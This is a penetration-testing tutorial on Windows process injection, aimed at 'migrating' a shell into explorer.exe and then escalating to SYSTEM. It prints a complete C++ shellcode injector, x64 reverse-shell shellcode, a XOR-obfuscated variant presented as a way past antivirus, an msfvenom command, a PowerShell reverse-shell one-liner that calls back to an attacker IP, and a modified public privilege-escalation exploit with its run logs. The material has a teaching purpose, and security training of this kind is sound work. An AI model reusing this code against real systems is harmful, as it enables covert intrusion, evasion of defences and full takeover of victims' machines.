Penetration testing

The “poor man’s process migration” in Windows

Andrea Pierini
December 11, 2017 by
Andrea Pierini

In the various pentesting activities, there are many instances where you need to "migrate" a particular Windows working process, typically a shell. The following are some scenarios under which this can happen:

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

  1. You have an unstable shell and need to move to a more robust process on the victim's machine (typically explorer.exe which will live until the victim does not log off);
  2. Some exploits require an interactive session, and if your process lives in session 0, you need to switch to a different one. Some of the more recent exploits such as the "Secondary Logon Handle Privilege Escalation" or, the more recent "Microsoft Windows - COM Aggregate Marshaler/IRemUnknown2 Type Confusion Privilege Escalation" don't work in session 0
  3. You need to migrate from a 32-bit process to a 64-bit processing system.

It is important to note that you can only migrate to processes according to your privileges, so if you are a standard user, you can only migrate to processes with same privileges from within the source application.

If you have a meterpreter shell, this task is very easy. All you must do is just launch the "migrate" command by specifying the PID and wait for process migration.

Technically speaking, this not a real migration, it's more of a malicious code injection by creating a thread into another process. Meterpreter does this very well. It injects your current session, along with all the configurations and loaded extensions into a new remote thread.

An example of injecting a simple shellcode (for example a reverse shell) into another process directly from an "evil" process, without using the reflective dll injections is further discussed in the next section.

The windows API

First, the necessary Windows APIs need to be categorized which are as follows:

  • OpenProcess() for opening the remote process
  • VirtualAllocEx() for allocating memory in remote process
  • WriteProcessMemory() for writing the shellcode in a newly allocated memory and make it executable
  • CreateRemoteThread() for creating a new remote thread and executing the relevant source code

No privileges are required for operating on your own processes, so the specialized functions such as AdjustTokenPrivileges() can thus be omitted.

These are the prototypes of the functions calls:

HANDLE WINAPI OpenProcess(

_In_ DWORD dwDesiredAccess,

_In_ BOOL bInheritHandle,

_In_ DWORD dwProcessId

);

Where dwDesiredAccess in our case is "PROCESS_ALL_ACCESS" for the sake of simplicity, bInheritHandle is set to FALSE because it is not needed and dwProcessId is the PID of the process we want the code to inject into.

This particular function returns a handle which can be used for allocating the virtual memory:

LPVOID WINAPI VirtualAllocEx(

_In_ HANDLE hProcess,

_In_opt_ LPVOID lpAddress,

_In_ SIZE_T dwSize,

_In_ DWORD flAllocationType,

_In_ DWORD flProtect

);

Where hProcess is the handle we got with OpenProcess(), dwSize is the size of our shellcode, flAllocationTypet is set to "MEM_COMMIT" to have it directly allocated, and flProtect is set to "PAGE_EXECUTE_READWRITE." Upon the execution of these command lines, the function returns a pointer to allocated memory.

The code is now injected with the following statements:

BOOL WINAPI WriteProcessMemory(

_In_ HANDLE hProcess,

_In_ LPVOID lpBaseAddress,

_In_ LPCVOID lpBuffer,

_In_ SIZE_T nSize,

_Out_ SIZE_T *lpNumberOfBytesWritten

);

With lpBaseAddress set to the previous memory pointer, lpBuffer now contains the shellcode and nSize contains

the length of shellcode.

Now the remote thread is injected, which is as follows:

HANDLE WINAPI CreateRemoteThread(

_In_ HANDLE hProcess,

_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,

_In_ SIZE_T dwStackSize,

_In_ LPTHREAD_START_ROUTINE lpStartAddress,

_In_ LPVOID lpParameter,

_In_ DWORD dwCreationFlags,

_Out_ LPDWORD lpThreadId

);

The default settings here can be set at the above points. The lpStartAddress is the pointer to our allocated memory containing the shellcode, and the dwCreationFlags is set to 0 to start the thread immediately.

The shell code

Next, a shellcode needs to be injected. A primary example of this is the "netcat" style with a reverse cmd.exe shell as illustrated below:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.128 LPORT=4444 -f c > shell.out

This is not a meterpreter payload, just an all-in-one stageless reverse cmd shell and thus should be considered harmless by antiviruses:

char buf[] =

"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"

"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48""x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"

"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"

"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"

"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"

"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"

"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"

"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"

"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"

"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"

"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"

"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"

"x8bx12xe9x57xffxffxffx5dx49xbex77x73x32x5fx33"

"x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00"

"x49x89xe5x49xbcx02x00x11x5cxc0xa8x01x80x41x54"

"x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4c"

"x89xeax68x01x01x00x00x59x41xbax29x80x6bx00xff"

"xd5x50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2"

"x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48"

"x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99"

"xa5x74x61xffxd5x48x81xc4x40x02x00x00x49xb8x63"

"x6dx64x00x00x00x00x00x41x50x41x50x48x89xe2x57"

"x57x57x4dx31xc0x6ax0dx59x41x50xe2xfcx66xc7x44"

"x24x54x01x01x48x8dx44x24x18xc6x00x68x48x89xe6"

"x56x50x41x50x41x50x41x50x49xffxc0x41x50x49xff"

"xc8x4dx89xc1x4cx89xc1x41xbax79xccx3fx86xffxd5"

"x48x31xd2x48xffxcax8bx0ex41xbax08x87x1dx60xff"

"xd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48"

"x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13"

"x72x6fx6ax00x59x41x89xdaxffxd5";

Myinject.exe

The below screenshot illustrates a C++ Win32 console application "myinject" in Visual Studio 2015:

The source code can be seen below:

#include "stdafx.h"

#include <windows.h>

#include <stdio.h>#include <stdlib.h>

#define EXIT_WITH_ERROR( e ) { printf( "%s - %d", e, GetLastError() );return 1;}

//msfvenon -p windows/x64/shell_reverse_tcp lport= lhost= -f c

Char shellcode[] =

"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"

"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"

"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"

"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"

"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"

"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"

"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"

"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"

"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"

"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"

"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"

"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"

"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"

"x8bx12xe9x57xffxffxffx5dx49xbex77x73x32x5fx33"

"x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00"

"x49x89xe5x49xbcx02x00x11x5cxc0xa8x01x80x41x54"

"x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4c"

"x89xeax68x01x01x00x00x59x41xbax29x80x6bx00xff"

"xd5x50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2"

"x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48"

"x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99"

"xa5x74x61xffxd5x48x81xc4x40x02x00x00x49xb8x63"

"x6dx64x00x00x00x00x00x41x50x41x50x48x89xe2x57"

"x57x57x4dx31xc0x6ax0dx59x41x50xe2xfcx66xc7x44"

"x24x54x01x01x48x8dx44x24x18xc6x00x68x48x89xe6"

"x56x50x41x50x41x50x41x50x49xffxc0x41x50x49xff"

"xc8x4dx89xc1x4cx89xc1x41xbax79xccx3fx86xffxd5"

"x48x31xd2x48xffxcax8bx0ex41xbax08x87x1dx60xff"

"xd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48"

"x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13"

"x72x6fx6ax00x59x41x89xdaxffxd5";

int main(int argc, char * argv[])

{

 

HANDLE hProcess = NULL;

HANDLE hToken = NULL;

LPVOID lpBuffer = NULL;

DWORD dwProcessId = 0;

int iSize;

dwProcessId = atoi(argv[1]);

SIZE_T lpnumber = 0;

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);

if (!hProcess)

EXIT_WITH_ERROR("Failed to open the target process");

iSize = sizeof(shellcode);

printf("iSize=%dn", iSize);

LPVOID vptr = (int *)VirtualAllocEx(hProcess, NULL, iSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

BOOL b = WriteProcessMemory(hProcess, vptr, shellcode, iSize, &lpnumber);

printf("WriteProcessResult:%d %lpnumber=%d %dn", b, lpnumber);

HANDLE h = CreateRemoteThread(hProcess, NULL,0,(LPTHREAD_START_ROUTINE)vptr, NULL, 0, 0);

if (h == NULL)

{

EXIT_WITH_ERROR("Failed to execute shellcode);

}

return 0;

}

Here is a summary of what was done in the above steps:

  • The remote process with PID was opened and passed as argument from the command line;
  • The necessary memory space was allocated;
  • The shellcode in allocated memory was written;
  • The remote thread was subsequently launched.

Once compiled the "myinject.exe" is now64 bit executable ready.

Bypassing detection

In this particular example, we can use a simple "xor" for obfuscating the shellcode and again a xor in our program for de-obfuscating it by passing the xor key via the command line in order make it as stealthy and covert as possible.

This is the shellcode xor'ed with 'y' key:

Char buf[]=

"x85x31xfax9dx89x91xb9x79x79x79x38x28x38x29x2bx28x2fx31x48xabx1cx31"

"xf2x2bx19x31xf2x2bx61x31xf2x2bx59x31xf2x0bx29x31x76xcex33x33x34x48""xb0x31x48xb9xd5x45x18x05x7bx55x59x38xb8xb0x74x38x78xb8x9bx94x2bx38"

"x28x31xf2x2bx59xf2x3bx45x31x78xa9xf2xf9xf1x79x79x79x31xfcxb9x0dx1e"

"x31x78xa9x29xf2x31x61x3dxf2x39x59x30x78xa9x9ax2fx31x86xb0x38xf2x4d"

"xf1x31x78xafx34x48xb0x31x48xb9xd5x38xb8xb0x74x38x78xb8x41x99x0cx88"

"x35x7ax35x5dx71x3cx40xa8x0cxa1x21x3dxf2x39x5dx30x78xa9x1fx38xf2x75"

"x31x3dxf2x39x65x30x78xa9x38xf2x7dxf1x31x78xa9x38x21x38x21x27x20x23"

"x38x21x38x20x38x23x31xfax95x59x38x2bx86x99x21x38x20x23x31xf2x6bx90"

"x2ex86x86x86x24x30xc7x0ex0ax4bx26x4ax4bx79x79x38x2fx30xf0x9fx31xf8"

"x95xd9x78x79x79x30xf0x9cx30xc5x7bx79x68x25xb9xd1x78xf9x38x2dx30xf0"

"x9dx35xf0x88x38xc3x35x0ex5fx7ex86xacx35xf0x93x11x78x78x79x79x20x38"

"xc3x50xf9x12x79x86xacx29x29x34x48xb0x34x48xb9x31x86xb9x31xf0xbbx31"

"x86xb9x31xf0xb8x38xc3x93x76xa6x99x86xacx31xf0xbex13x69x38x21x35xf0"

"x9bx31xf0x80x38xc3xe0xdcx0dx18x86xacx31xf8xbdx39x7bx79x79x30xc1x1a"

"x14x1dx79x79x79x79x79x38x29x38x29x31xf0x9bx2ex2ex2ex34x48xb9x13x74"

"x20x38x29x9bx85x1fxbex3dx5dx2dx78x78x31xf4x3dx5dx61xbfx79x11x31xf0"

"x9fx2fx29x38x29x38x29x38x29x30x86xb9x38x29x30x86xb1x34xf0xb8x35xf0"

"xb8x38xc3x00xb5x46xffx86xacx31x48xabx31x86xb3xf2x77x38xc3x71xfex64"

"x19x86xacxc2x89xccxdbx2fx38xc3xdfxecxc4xe4x86xacx31xfaxbdx51x45x7f"

"x05x73xf9x82x99x0cx7cxc2x3ex6ax0bx16x13x79x20x38xf0xa3x86xacx79";

And in "myinject.cpp":

char shellcode[sizeof(buf)];

for(int i=0;i<sizeof(buf);i++)

shellcode[i]=buf[i]^argv[1][0];

Testing the solution

To test the above, a Linux box was used to launch the "nc" command listening on port 4444.

$nc -lvp 4444

After that, on the Windows box from a command shell, the PID of the explorer process can thus be found, which is illustrated below:

The PID is 2168, user "andrea" on a Windows 2016 Server without Admin privileges. Now we can launch our program:

The above screenshot illustrates that this process does indeed work.

We now have a reverse shell on a Kali Linux box.

The Process ID can be seen below:

C:Windowssystem32>powershell (Get-WmiObject Win32_Process -Filter ProcessId=$PID).ParentProcessId

448

Moreover, the parent process ID of our process is really explorer.exe:

The shellcode has now been injected into explorer.exe, as illustrated up above.

Real case scenario

To test a real case scenario, a reverse PowerShell in session 0 on port 5555 is utilized, from a misconfigured scheduled task or service, as illustrated below:

connect to [192.168.1.128] from WIN-ECMUCGNONPU [192.168.1.91] 49723

PS C:temp> whoami

win-ecmucgnonpuandreaPS C:temp> ver

PS C:temp> cmd /c 'ver'

Microsoft Windows [Version 10.0.14393]

The Operating System is Windows Server 2016 and the "Microsoft Windows - COM Aggregate Marshaler/IRemUnknown2 Type Confusion Privilege Escalation" exploit is thus being tested.

First, the source code needs to be modified, as illustrated below and also found at the following link: (https://www.exploit-db.com/exploits/42020/):

int wmain(int argc, wchar_t** argv)

{

try{

CoInit ci;

if (argc > 2)

{

wcscpy_s(cmdline, argv[2]);

CreateNewProcess(argv[1]);

}

else

{

wcscpy_s(cmdline, argv[1]);

bstr_t script = L"script:" + CreateScriptletFile();

 

 

BuildTypeLibs(script);

TestBits();

}

}

…….

bstr_t CreateScriptletFile()

{

bstr_t script_file = GetExeDir() + L"run.sct";

bstr_t script_data = scriptlet_start;

bstr_t exe_file = GetExe();

wchar_t* p = exe_file;

while (*p)

{

if (*p == '')

{

*p = '/';

}

p++;

}

DWORD session_id;

ProcessIdToSessionId(GetCurrentProcessId(), &session_id);

WCHAR session_str[16];

StringCchPrintf(session_str, _countof(session_str), L"%d", session_id);

script_data += L""" + exe_file + L"" " + session_str + " " + cmdline + " " +scriptlet_end;

WriteFile(script_file, script_data);

return script_file;

}

…...

Instead of calling the predefined "cmd.exe", the argument is passed via the command line. In this case a reverse shell is called. In this instance a new reverse powershell via a batch file is uploaded onto the victim's machine in C:TEMP and called "rev.bat":

The Contents of rev.bat can be seen below:

powershell -exec byp -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.128',6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Note the double "%%."

The next step is to compile the modified exploit and upload it as "exploit.exe" in the "%TEMP% "directory of the current user.

Once the "exploit.exe" has been uploaded, we need to launch a new Netcat listener on port 6666. The same process is also launched on port 5555, which can be seen in the screenshot below:

C:usersandreaappdatalocaltemp> .exploit c:temprev.bat

Building Library with path: script:C:usersandreaappdatalocaltemprun.sct

Found TLB name at offset 766

QI - Marshaller: {00000000-0000-0000-C000-000000000046} 000001F363434670

Queried Success: 000001F363434670

AddRef: 1

QI - Marshaller: {0000001B-0000-0000-C000-000000000046} 000001F363434670

QI - Marshaller: {ECC8691B-C1DB-4DC0-855E-65F6C551AF49} 000001F363434670

QI - Marshaller: {00000000-0000-0000-C000-000000000046} 000001F363434670

Queried Success: 000001F363434670

AddRef: 2

QI - Marshaller: {00000018-0000-0000-C000-000000000046} 000001F363434670

QI - Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670

QI - Marshaller: {00000040-0000-0000-C000-000000000046} 000001F363434670

QI - Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670

QI - Marshaller: {94EA2B94-E9CC-49E0-C0FF-EE64CA8F5B90} 000001F363434670

QI - Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670

QI - Marshaller: {77DD1250-139C-2BC3-BD95-900ACED61BE5} 000001F363434670

QI - Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670

QI - Marshaller: {BFD60505-5A1F-4E41-88BA-A6FB07202DA9} 000001F363434670

QI - Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670

QI - Marshaller: {03FB5C57-D534-45F5-A1F4-D39556983875} 000001F363434670

QI - Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670

QI - Marshaller: {2C258AE7-50DC-49FF-9D1D-2ECB9A52CDD7} 000001F363434670

QI - Marshaller: {00000019-0000-0000-C000-000000000046} 000001F363434670

QI - Marshaller: {4C1E39E1-E3E3-4296-AA86-EC938D896E92} 000001F363434670

Release: 3

Opened Link ??C: -> DeviceHarddiskVolume2usersandreaappdatalocaltemp: 00000000000001AC

QI - Marshaller: {00000003-0000-0000-C000-000000000046} 000001F363459520

Queried Success: 000001F363459520

AddRef: 1

Release: 2

QI - Marshaller: {ECC8691B-C1DB-4DC0-855E-65F6C551AF49} 000001F363459520

QI - Marshaller: {00000003-0000-0000-C000-000000000046} 000001F363459520

Queried Success: 000001F363459520

AddRef: 1

Marshal Interface: {00000000-0000-0000-C000-000000000046}

AddRef: 2

AddRef: 3

Release: 4

Marshal Complete: 00000000

Release: 2

AddRef: 3

Release: 4

Release: 3

Result: 800704DD

Done

Release: 1

Release object 000001F363459520

Release: 2

PS C:usersandreaappdatalocaltemp>

Unfortunately, nothing happened in our netcat console listening on 6666.

The step now is to determine if the user we are impersonating is logged in and has an interactive session. "Explorer.exe" is, of course, the best tool for this, and this time we will use PowerShell cmdlets:

PS c:temp>Get-Process -Name explorer

The two explorer.exe processes are running, and the screenshot below shows the information about the owners:

Get-WmiObject Win32_Process -Filter "name='explorer.exe'" | Select handle,Name, @{Name="UserName";Expression={$_.GetOwner().User}}

The above screenshot illustrates that the user is logged in and that the PID is 2524. Keep in mind that on Windows systems, if you have standard privileges, you can also see the owner of the running processes as well but, only if it is yours.

The next step is to upload the "myinject.exe" and inject it into the "explorer.exe" process to obtain a new interactive shell on port 4444:

PS C:usersandreaappdatalocaltemp>myinject 2524 y

From this new shell, we launch the exploit again, as illustrated below:

A new shell on port 6666 as "NT AUTHORITYSYSTEM" has been thus created:

The above screenshot demonstrates that the exploit did indeed work.

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Conclusion

The shellcode should not be hardcoded in the exe file, but instead, it should be read from an external file. However, this was not the main intention. The point of this article is to take a deep dive in process injection and further exemplify what can be done with it.

Andrea Pierini
Andrea Pierini

Andrea Pierini is an IT Architecture and Security Manager with long-term experience and in-depth knowledge covering all aspects of IT — from SW development to systems administration, networking administration and IT security. He is also an expert in *NIX* and Windows environments.